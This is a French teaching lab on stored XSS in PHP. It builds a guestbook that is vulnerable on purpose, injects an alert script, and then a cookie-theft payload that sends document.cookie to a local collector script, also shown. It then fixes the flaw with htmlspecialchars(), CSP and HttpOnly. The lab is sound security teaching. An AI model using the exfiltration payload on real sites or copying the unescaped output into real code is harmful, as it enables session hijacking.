XSS

- Comprendre comment une application vulnérable peut être attaquée via une injection XSS.
- Apprendre à s'en protéger avec
htmlspecialchars(), le flag HttpOnly et une politique CSP.
Si vous affichez des entrées utilisateur sans les échapper, un attaquant peut injecter du code JavaScript malveillant qui s'exécutera dans le navigateur des autres visiteurs (par exemple pour voler leur cookie de session et usurper leur identité).
1. Création du projet vulnérable
Tout d'abord, créez un dossier livre-or contenant le fichier index.php : le livre d'or d'un
club de randonnée, où chaque visiteur peut laisser un message lu par tout le monde.
<?php
$fichier = __DIR__ . '/commentaires.txt';
if (isset($_GET['message']) && $_GET['message'] !== '') {
file_put_contents($fichier, $_GET['message'] . "\n", FILE_APPEND);
}
// Simule un administrateur du club actuellement connecté sur ce navigateur
setcookie('session_admin', 'jeton-secret-abc123');
$commentaires = file_exists($fichier) ? file($fichier, FILE_IGNORE_NEW_LINES) : [];
?>
<!DOCTYPE html>
<html lang="fr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Livre d'or - Club de randonnée</title>
</head>
<body>
<h1>Livre d'or du club de randonnée</h1>
<form method="get" action="">
<label for="message">Laissez un message :</label>
<input type="text" id="message" name="message" size="60">
<button type="submit">Envoyer</button>
</form>
<h2>Messages précédents :</h2>
<ul>
<?php foreach ($commentaires as $commentaire): ?>
<li><?= $commentaire ?></li>
<?php endforeach; ?>
</ul>
</body>
</html>
Le cookie session_admin simule un administrateur du club déjà connecté dans ce même
navigateur. C'est ce cookie que nous allons essayer de voler dans les étapes suivantes.
Dans ce TP, les messages sont enregistrés dans le fichier commentaires.txt pour simplifier la
mise en place. Un vrai site enregistrerait ces messages dans une base de données (une table
commentaires, par exemple) : le problème serait exactement le même. Ce qui rend le XSS possible
n'est pas l'endroit où la donnée est stockée (fichier ou base de données), mais le fait qu'elle
soit réaffichée sans être échappée.
2. Démarrer le serveur Web
Dans le dossier livre-or, démarrez le serveur Web intégré à PHP :
php -S localhost:8000
Ouvrez ensuite http://localhost:8000/ dans votre navigateur.
3. Tester une injection simple
Dans le champ message, saisissez :
<script>alert('XSS !');</script>
Une alerte JavaScript s'affiche : le script a été exécuté par votre propre navigateur.
4. Constater que l'injection est stockée
Rechargez la page sans ressaisir de message (allez simplement sur http://localhost:8000/).
L'alerte s'affiche à nouveau, alors que vous n'avez rien saisi cette fois-ci !
C'est ce qu'on appelle un XSS stocké : le script est enregistré dans commentaires.txt et
s'exécute pour tous les visiteurs qui consultent la page, à chaque fois. Un XSS stocké est
donc bien plus dangereux qu'un XSS réfléchi, qui ne touche que la personne ayant cliqué sur un lien
piégé.
Question : Si 10 visiteurs consultent cette page du livre d'or, combien d'entre eux exécuteront le script malveillant ?
📌 Une réponse
5. Simuler le vol du cookie de session
Nous allons maintenant jouer le rôle de l'attaquant, en créant un second site, entièrement sur notre machine, qui va collecter les cookies volés.
Créez un second dossier livre-or-attaquant (à côté de livre-or, pas dedans), contenant le fichier
voleur.php :
<?php
// Ce script simule le serveur d'un attaquant qui collecte les cookies volés.
$cookieRecu = $_GET['cookie'] ?? '(aucun)';
file_put_contents(
__DIR__ . '/vols.txt',
date('H:i:s') . " - Cookie volé : $cookieRecu\n",
FILE_APPEND
);
// Répond par un pixel transparent 1x1, pour ne pas éveiller les soupçons
// dans le navigateur de la victime (technique classique d'exfiltration).
header('Content-Type: image/gif');
echo base64_decode('R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw==');
Dans un second terminal, placez-vous dans le dossier livre-or-attaquant (et non dans
livre-or), puis démarrez ce serveur sur un port différent :
cd livre-or-attaquant
php -S localhost:9000
Si vous démarrez php -S localhost:9000 depuis le mauvais dossier (ou depuis livre-or), le
serveur ne trouvera pas voleur.php et affichera une erreur 404 du type
GET /voleur.php - No such file or directory. Vérifiez que le terminal est bien positionné dans
livre-or-attaquant avant de lancer la commande.
Vous avez maintenant deux serveurs qui tournent en même temps sur votre machine :
http://localhost:8000→ le site de la victime (le club de randonnée)http://localhost:9000→ le site de l'attaquant (le collecteur de cookies)
Retournez sur http://localhost:8000/ et saisissez, comme message :
<script>new Image().src='http://localhost:9000/voleur.php?cookie='+document.cookie;</script>
new Image().src = '...' demande au navigateur de charger une image depuis cette URL. Le
navigateur envoie donc bien la requête vers localhost:9000, avec le cookie de la victime en
paramètre, sans jamais afficher de fenêtre suspecte. C'est une technique d'exfiltration discrète
très utilisée dans les vraies attaques XSS.
6. Observer le vol réussi
Ouvrez le fichier livre-or-attaquant/vols.txt.
Résultat attendu : une ligne contenant session_admin=jeton-secret-abc123.
Le cookie de l'administrateur du club a été exfiltré vers le site de l'attaquant.
7. Sécuriser le code PHP
Modifiez livre-or/index.php pour échapper l'affichage des commentaires avec htmlspecialchars() :
<li><?= htmlspecialchars($commentaire) ?></li>
📌 Le fichier corrigé complet
Videz commentaires.txt (ou supprimez-le, il sera recréé automatiquement) pour repartir d'un
livre d'or propre.
8. Vérifier que l'injection ne fonctionne plus
Saisissez à nouveau le payload de vol de cookie de l'étape 5, sur http://localhost:8000/, message :
<script>new Image().src='http://localhost:9000/voleur.php?cookie='+document.cookie;</script>
Résultat attendu : le texte <script>...</script> s'affiche tel quel, comme du texte brut,
au lieu de s'exécuter. Vérifiez que livre-or-attaquant/vols.txt ne reçoit plus aucune nouvelle
ligne.
Question : Pourquoi htmlspecialchars() empêche-t-il le navigateur d'exécuter le script,
alors que le texte saisi par l'attaquant n'a pas changé ?
📌 Une réponse
9. Ajouter une couche de défense supplémentaire : Content-Security-Policy
Même bien codée, une application peut contenir une faille XSS non détectée. Une Content Security Policy (CSP) est une protection supplémentaire, côté navigateur, qui limite les scripts autorisés à s'exécuter sur la page — même si un attaquant parvient à en injecter un.
Ajoutez cet en-tête tout en haut de index.php, avant toute sortie HTML :
<?php
header("Content-Security-Policy: default-src 'self'; script-src 'self'");
script-src 'self' n'autorise que les scripts hébergés sur le même site. Un payload comme
new Image().src='http://localhost:9000/...' continuerait de fonctionner (ce n'est pas un
<script> externe), mais un <script src="https://site-pirate.com/vol.js"> injecté par un
attaquant serait, lui, bloqué par le navigateur. La CSP est un filet de sécurité en plus,
jamais un substitut à l'échappement des sorties.
Notions théoriques
Le Cross-Site Scripting (XSS) est une faille de sécurité qui permet à un attaquant d'injecter du code JavaScript malveillant dans une page Web consultée par d'autres utilisateurs.
Cette attaque est souvent utilisée pour :
- voler des cookies de session (comme dans le TP ci-dessus),
- rediriger des utilisateurs vers un site frauduleux,
- ou modifier l'affichage d'une page Web (défiguration).
Comment fonctionne une attaque XSS ?
- Injection de script : L'attaquant insère du code JavaScript dans un champ d'entrée (commentaire, formulaire, URL).
- Exécution du script : Lorsqu'un utilisateur visite la page, le script s'exécute dans son navigateur, avec ses droits (dont ses cookies).
- Exploitation : L'attaquant récupère des données sensibles (cookies, jetons de session) ou modifie l'affichage de la page.
Types de XSS
- XSS stocké (celui du TP ci-dessus) : le script malveillant est enregistré côté serveur (base de données, fichier) et s'exécute à chaque affichage de la page, pour tous les visiteurs. C'est le plus dangereux.
- XSS réfléchi : le script est injecté via une URL (paramètre
GET) et ne s'exécute que pour la victime qui clique sur ce lien piégé. - XSS basé sur le DOM : le script est injecté et exécuté directement par le JavaScript du site (par exemple
innerHTML), sans même repasser par le serveur.
Comment se protéger ?
-
Échapper les sorties avec
htmlspecialchars()en PHP, à chaque endroit où une donnée utilisateur est affichée dans du HTML. -
Ne jamais faire confiance à une entrée utilisateur.
-
Utiliser une Content-Security-Policy (CSP) pour limiter les scripts autorisés à s'exécuter.
-
Protéger les cookies sensibles avec le flag
HttpOnly:setcookie('session_admin', 'jeton-secret-abc123', ['httponly' => true]);Un cookie marqué
HttpOnlyreste invisible pourdocument.cookie: même avec une faille XSS non corrigée,new Image().src = '...' + document.cookiene récupérerait plus rien. C'est une seconde protection indépendante dehtmlspecialchars().
Le flag HttpOnly protège le cookie contre le vol par JavaScript, mais ne corrige pas la
faille XSS elle-même : un attaquant pourrait toujours modifier l'affichage de la page ou rediriger
la victime. htmlspecialchars() reste la protection principale.
Test de mémorisation/compréhension
Bonnes pratiques
- Échapper systématiquement l'affichage des données utilisateur avec
htmlspecialchars(). - Protéger les cookies sensibles avec le flag
HttpOnly. - Mettre en place une Content-Security-Policy en défense supplémentaire.
- Ne jamais faire confiance à une entrée utilisateur, même après une simple validation de format.
Un XSS corrigé aujourd'hui peut réapparaître demain si un nouveau développeur oublie
htmlspecialchars() sur un nouvel affichage. Pensez à centraliser l'échappement dans une fonction
ou un template réutilisé partout.
Une bonne pratique, la factorisation
Dans le TP, htmlspecialchars($commentaire) est écrit à chaque endroit où un commentaire est
affiché. Sur un vrai site, ce même échappement se répète souvent dans des dizaines de fichiers
(liste, page de détail, export, notifications...). Factoriser, c'est regrouper ce code répété
dans une seule fonction (ou un seul template), appelée partout où le besoin existe, au lieu de
le recopier à chaque endroit.
function afficherEnSecurite(string $texte): string {
return htmlspecialchars($texte);
}
// Utilisation partout dans le site :
echo afficherEnSecurite($commentaire);
Avantages de la factorisation, appliqués à la sécurité :
- Une seule protection à corriger : si une faille est découverte dans la façon d'échapper les
sorties, il suffit de corriger
afficherEnSecurite()une fois, au lieu de chercher tous les endroits du site à modifier. - Impossible d'oublier l'échappement : un développeur qui affiche une donnée utilisateur
utilise naturellement la fonction commune, il ne peut pas oublier
htmlspecialchars()puisqu'il n'a plus à y penser à chaque fois. - Code plus lisible et plus court : un seul endroit à lire pour comprendre comment les données sont sécurisées, plutôt que de vérifier chaque affichage un par un.
- Cohérence garantie : tous les affichages du site utilisent exactement la même règle de sécurité, sans variante oubliée ou mal recopiée.
La sécurité ne doit jamais dépendre de la mémoire du développeur. Factoriser l'échappement dans
une fonction rend l'oubli
de htmlspecialchars() techniquement impossible, plutôt que simplement peu probable.